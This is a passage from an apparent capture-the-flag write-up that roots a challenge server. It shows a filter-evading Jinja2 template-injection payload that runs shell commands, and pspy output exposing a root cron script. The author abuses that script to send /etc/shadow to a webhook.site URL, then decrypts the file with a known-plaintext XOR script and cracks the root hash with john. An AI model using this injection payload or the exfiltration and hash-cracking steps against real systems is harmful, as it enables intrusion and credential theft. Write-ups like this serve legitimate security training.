request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('id').read()With those modifications I go from the previous line to the following payload.
request|attr('application')|attr(request|attr('args')|last + 'globals' + request|attr('args')|last)|attr(request|attr('args')|last + 'getitem' + request|attr('args')|last)(request|attr('args')|last + 'builtins' + request|attr('args')|last)|attr(request|attr('args')|last + 'getitem' + request|attr('args')|last)(request|attr('args')|last + 'import'+ request|attr('args')|last)('os')|attr('popen')('id')|attr('read')()Sending the payload as username with &__=wow renders www-data on the page. Next fetch a reverse shell payload from my VPS and pipe the contents to Bash. Considering the dots in the IP address are also stripped, I use the decimal notation for the IP. This drops me into a interactive shell.
$ ./pspy64
--- SNIP ---
2025/12/31 12:53:02 CMD: UID=0 PID=438 | /usr/sbin/CRON
2025/12/31 12:53:02 CMD: UID=0 PID=439 | /usr/local/bin/python3 /var/backups/backup.py
2025/12/31 12:53:02 CMD: UID=0 PID=440 | /usr/local/bin/python3 /var/backups/backup.py
2025/12/31 12:53:02 CMD: UID=0 PID=442 | /bin/sh -c ls -la /dev/shm/ | grep -E '\.frosty[0-9]+$' | awk -F " " '{print $9}'
--- SNIP ---
2025/12/31 12:54:01 CMD: UID=0 PID=450 | /usr/sbin/CRON
2025/12/31 12:54:01 CMD: UID=0 PID=451 | /bin/sh -c root /var/backups/backup.py &
2025/12/31 12:54:01 CMD: UID=0 PID=452 | /usr/local/bin/python3 /var/backups/backup.py
2025/12/31 12:54:01 CMD: UID=0 PID=442 | /bin/sh -c ls -la /dev/shm/ | grep -E '\.frosty[0-9]+$' | awk -F " " '{print $9}'Running pspy shows the root user executing /var/backups/backup.py every minute. The Python script is also readable in my current context, so I can have a look what it does.
#!/usr/local/bin/python3
from PIL import Image
import math
import os
import re
import subprocess
import requests
import random
cmd = "ls -la /dev/shm/ | grep -E '\\.frosty[0-9]+$' | awk -F \" \" '{print $9}'"
files = subprocess.check_output(cmd, shell=True).decode().strip().split('\n')
BLOCK_SIZE = 6
random_key = bytes([random.randrange(0, 256) for _ in range(0, BLOCK_SIZE)])
def boxCrypto(block_size, block_count, pt, key):
currKey = key
tmp_arr = bytearray()
for i in range(block_count):
currKey = crypt_block(pt[i*block_size:(i*block_size)+block_size], currKey, block_size)
tmp_arr += currKey
return tmp_arr.hex()
def crypt_block(block, key, block_size):
retval = bytearray()
for i in range(0,block_size):
retval.append(block[i] ^ key[i])
return bytes(retval)
def create_hex_image(input_file, output_file="hex_image.png"):
with open(input_file, 'rb') as f:
data = f.read()
pt = data + (BLOCK_SIZE - (len(data) % BLOCK_SIZE)) * b'\x00'
block_count = int(len(pt) / BLOCK_SIZE)
enc_data = boxCrypto(BLOCK_SIZE, block_count, pt, random_key)
enc_data = bytes.fromhex(enc_data)
file_size = len(enc_data)
width = int(math.sqrt(file_size))
height = math.ceil(file_size / width)
img = Image.new('RGB', (width, height), color=(0, 0, 0))
pixels = img.load()
for i, byte in enumerate(enc_data):
x = i % width
y = i // width
if y < height:
pixels[x, y] = (0, 0, byte)
img.save(output_file)
print(f"Image created: {output_file}")
for file in files:
if not file:
continue
with open(f"/dev/shm/{file}", 'r') as f:
addr = f.read().strip()
if re.match(r'^https?://[a-zA-Z0-9][a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', addr):
exfil_file = b'\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77'.decode()
if os.path.isfile(exfil_file):
try:
create_hex_image(exfil_file, output_file="/dev/shm/.tmp.png")
data = bytearray()
with open(f"/dev/shm/.tmp.png", 'rb') as f:
data = f.read()
os.remove("/dev/shm/.tmp.png")
requests.post(
url=addr,
data={"secret_file": data},
timeout=10,
verify=False
)
except requests.exceptions.RequestException:
pass
else:
print(f"Invalid URL format: {addr} - request ignored")
# Remove the file
os.remove(f"/dev/shm/{file}")wIt first checks /dev/shm for files that conform to the regex \\.frosty[0-9]+$. For every match the contents of that file are read and compared against the another regex that looks for valid URLs. Then the exfil_file, decoded to /etc/shadow, is encrypted and then sent as POST request to the URL specified in the file.
So if I place a valid URL into a file in /dev/shm, I should get the contents of the shadow file in an encrypted form. So I add the URL to a listener in \.frosty1 and wait for a connection.
echo 'https://webhook.site/684c4191-a588-4ff5-844a-8638605c9061' > /dev/shm/\\.frosty1As soon as the cronjob runs, there’s a new request with the following URL-encoded payload.
secret_file=%89PNG%0D%0A%1A%0A%00%00%00%0DIHDR%00%00%00%19%00%00%00%1B%08%02%00%00%00%06C%B3%3F%00%00%03%D7IDATx%9C%A5%D4%5BL%16%04%00%86%E1%E7%FF%F9Q%A7%28%02%991%14%B2%2142%25%24%B51%8F%CB%E3%E6%12g%99%DA%E6i%CDC%A6%95k3%D7%D26%E7l%9An%D6t%D9Z5E%C9%92%D2%2C%99%A9%99%8A%F3%7C%00%3C%A5%882%10%11%14%14%E4+%02%5D4%B7%EE%FB%AE%DF%8Bo%EF%C5%1B+%87%1AZ%F9%8A%23%1C%A6%98%04F2%97%5E%8C%24%9C%16%8AY%CE.%F6Q%C7c%22%D9%C1%5B%0C%E4J%90%F6L%E7%1D%A6QK%3CI%3C%26%8D%A5DP%C3q%5E%E44%93%08%92%C1t%3A%B3%8C%EF%E9%C2.%22Bt%A1%1F%D9%F4%A1%82%12%AA%C9e%1E%17%89e%04%DDI%27%9B%3BDPI%1B%F3%B8E%07z3%9E%0B%01%D2%F8%8Ez%92%B8L2%F1%14%D1%9D%0B%3C%CFURXM41%DC+%99%3D%8C%A6%95K%3CC%19%85%01%D6%D2%40%1FJH%E0W%26%12%CE%29%9E%E3%3A%27%C8%A0%89%3E%DCc%1C%99ds%85k%04%19B%7F%F2B%D4%D3%9Bj%5Eg%2C%B9%14R%40%14%C9%CC%A4%80%1FH%E4%3E%19%ACe%01Q%14%D2%C4%9B%CCc%0D%0D%21%12%89%24%8D%F5%7CL7%0A%B9%CFDf%B2%86J%12%E9JO%16%F25%A78%CF%18%3A%F2%29_%B2%85%BE%01%2A%A9f%09%EB9CO%C2%88b%15%1F%90%C3%7Cj%A8c%09%1B%D8D%14%0FHe93H%A6%85v%01V%F2%09%9B%B9F%3B%9AIc%153%E8A%3D%9D%C9%E7C%B2%B8DGZh%A5%94%E9%24q%88%16%A2%83%5C%A0%8E%01%84%13C%80%DFX%C1%28%1AxH%1B%87%A9%23%85Nt%A3%8D%02%5E%E0%2A%87%09%27%92%1F%03l%A1%8A%26%9A%09R%C8%ABt%A2%3D%9D%09%B2%85%E1%3C%A2%EA%3F%8Ff0%80R%3AP%C8%0A~%09p%9Av%84%F33%95L%26%9D%2A%1A%29%E2s%B2%28%24%920r%B8%CB%14BTS%CF0%22%B9G%5D%88%BD%3Cb%04%DB%D9H%04%07%A9c%0C%C9T%D0%CCABd%F0%07k%E8%C4m%F2Hg2%5B%F9%9D%EB%01%B2%29%A5%8Agi%21%99%22z%B2%9E%A9t%E4%0AqTSB2a%24r%958%8E%F2.%01%CA%89%C6%29%86s%88%02J%C8%A7%8D%8F%A8%A5%82%7Cns%94a%9C%E0%1C%95%E4s%9F%A5%D4p%87%9Bd%B12%40g%CE%B1%93%07d%F24%138%C8~Z%E9G-%19%EC%E1%18uL%21%9A%B1%1C%27%97%10I4%91%16+%8Fc%24%92%CF+v3%94q%1C%A7%91%CB%1Ca4%7DHa%1D%09%9Ce0%A3%B8%C2%5Dn%B2%9F%A1A%C2X%C4y%9Ee%27%A9%D4%F3%0D%A9%C4%93%C7%0C%82%14s%96%D9%9C%A1%1B%8Dd%91Jo%0E0%87%0EAn%91%C7%5CN%10G%07%10%C36%062%87%CB%A0%96r%A6%D0%9DAO%98%8D%24%F36%C7%10%A4%8Cr%C6%12%FB%04z%C8k%EC%E56%5D%E8J7%FA%93%CBg%2C%A6%82%EB%8C%E7%00%8D%84%D3%9D%F8%7F%83%FB%17_%F0%1E%E5%FC%CD4%16%F0%06%9Bi%22%93%22%C6%93%C6%5D%DA1%90x%D2%98%CAJ%C2%98%40q%90%11%A4%F0%90%F6%F4%23%81%FEO%BC%F6%25%8E2%CEp%90%D9T%B3%9B%AB%14%B0%9A%5BL%22%40%15s%02%14s%92%F14RK%26%FB%D8%CE%CBD%D2%CCK%9C%E2%0C%994RO%2F6%93%CE%0E%A2%A8%A6%9CI%01%1AxL%2BM%F4b%2BED%F2%90%21L%E5%7Dbi%A6%96%E1%A4%B2%812%DA%13%C6p%26%B0%88%1E%21%B2%19%CC%0D%D6q%8BR%86%81%DBLe%21%3D%89yR%A4x%B6Q%C2%1Cjh%60%16%F3%88%E5%A9%10%AF%D0%C0%26~%E2%24M%94%D2%CC2f%91%40Wr%89f%059%5Cd1%B9%3Cf%19%F3I%21%8CC%D8%40%14%DF%F2%A7%FF%B7%7F%00%8B%24P%D9k9%19%2F%00%00%00%00IEND%AEB%60%82Now I can look at the encryption code to check for ways to break the encryption. The secret data is stored in the blue channel of the image. For the encryption key it uses a random key of length 6 that is XOR’d with the plain text. Since every shadow file starts with root:$ I can just XOR the first 6 bytes of the cipher text with that to recover the encryption key.
While recycling big parts of the original code, I build a small Python script to decrypt the file after URL-decoding it beforehand and placing it in crypt_image.png.
#!/usr/bin/env python3
from PIL import Image
KNOWN_PLAIN_TEXT = b'root:$'
BLOCK_SIZE=6
def extract_cipher_text(path: str) -> bytes:
img = Image.open(path)
pixels = img.load()
width, height = img.size
cipher_text = bytearray()
for y in range(height):
for x in range(width):
cipher_text.append(pixels[x, y][2])
return bytes(cipher_text)
def decrypt_boxCrypto(cipher_text, key):
block_count = len(cipher_text) // BLOCK_SIZE
plain_text = bytearray()
prev = key
for i in range(block_count):
block = cipher_text[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE]
pt_block = bytes(b ^ p for b, p in zip(block, prev))
plain_text += pt_block
prev = block
return plain_text
cipher_text = extract_cipher_text('crypt_image.png')
key = bytearray(BLOCK_SIZE)
for i in range(BLOCK_SIZE):
key[i] = cipher_text[i] ^ KNOWN_PLAIN_TEXT[i]
plain_text = decrypt_boxCrypto(cipher_text, key)
print(bytes(plain_text.rstrip(b'\x00')))Running the script decrypts the hidden contents in the file and prints the shadow file including the hash for the root user. Using john and the rockyou wordlist, the hash cracks after a few moments and I get the password jollyboy that lets me escalate my privileges with su -.
$ python3 decrypt.py
b'root:$5$cRqqIuQIhQBC5fDG$9fO47ntK6qxgZJJcvjteakPZ/Z6FiXwer5lxHrnBuC2:20392:0:99999:7:::\ndaemon:*<SNIP>
$ john --fork=10 --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha256crypt, crypt(3) $5$ [SHA256 256/256 AVX2 8x])
--- SNIP ---
jollyboy (?)
--- SNIP ---In the /root directory I find the script stop_frosty_plan.sh. It sends a POST request to middleware:5000.
#!/usr/bin/bash
echo "Welcome back, Frosty! Getting cold feet?"
echo "Here is your secret key to plug in your badge and stop the plan:"
curl -X POST "$CHATBOT_URL/api/submit_c05730b46d0f30c9d068343e9d036f80" -H "Content-Type: Application/json" -d "{\"challenge_hash\":\"ec87937a7162c2e258b2d99518016649\"}"
echo ""Executing the script prints the final flag to the screen.
$ ./stop_frosty_plan.sh
Welcome back, Frosty! Getting cold feet?
Here is your secret key to plug in your badge and stop the plan:
hhc25{Frostify_The_World_c05730b46d0f30c9d068343e9d036f80}
hhc25{Frostify_The_World_c05730b46d0f30c9d068343e9d036f80}

